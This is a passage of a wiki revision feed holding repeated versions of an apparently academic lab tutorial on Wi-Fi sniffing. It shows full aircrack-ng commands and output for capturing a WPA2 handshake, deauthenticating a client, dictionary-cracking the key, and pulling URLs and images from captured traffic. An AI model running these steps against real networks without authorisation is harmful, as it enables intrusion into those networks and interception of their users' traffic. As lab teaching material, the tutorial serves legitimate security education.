* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8333</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8333"/>
		<updated>2021-12-19T07:41:43Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77&lt;br /&gt;
*BSSID: 68:02:B8:1F:A1:3A&lt;br /&gt;
*ESSID: WLAN18250073&lt;br /&gt;
*Channel used by AP: 11&lt;br /&gt;
*Wireless interface: wlan0mon&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (36.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8260</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8260"/>
		<updated>2021-12-17T12:32:00Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77&lt;br /&gt;
*BSSID: 68:02:B8:1F:A1:3A&lt;br /&gt;
*ESSID: WLAN18250073&lt;br /&gt;
*Channel used by AP: 11&lt;br /&gt;
*Wireless interface: wlan0mon&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (36.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
